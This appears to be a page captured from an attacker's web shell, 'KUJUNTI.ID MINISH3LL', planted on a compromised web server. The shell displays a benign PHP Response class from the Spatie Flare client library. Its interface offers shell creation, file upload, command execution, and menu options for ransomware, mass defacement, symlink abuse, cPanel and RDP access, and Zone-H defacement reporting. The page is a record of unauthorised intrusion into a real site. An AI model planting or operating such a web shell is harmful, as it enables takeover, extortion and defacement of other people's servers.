KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/spatie/flare-client-php/src/Http/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/spatie/flare-client-php/src/Http/Response.php


<?php

namespace Spatie\FlareClient\Http;

class Response
{
    protected mixed $headers;

    protected mixed $body;

    protected mixed $error;

    public function __construct(mixed $headers, mixed $body, mixed $error)
    {
        $this->headers = $headers;

        $this->body = $body;

        $this->error = $error;
    }

    public function getHeaders(): mixed
    {
        return $this->headers;
    }

    public function getBody(): mixed
    {
        return $this->body;
    }

    public function hasBody(): bool
    {
        return $this->body != false;
    }

    public function getError(): mixed
    {
        return $this->error;
    }

    public function getHttpResponseCode(): ?int
    {
        if (! isset($this->headers['http_code'])) {
            return null;
        }

        return (int) $this->headers['http_code'];
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support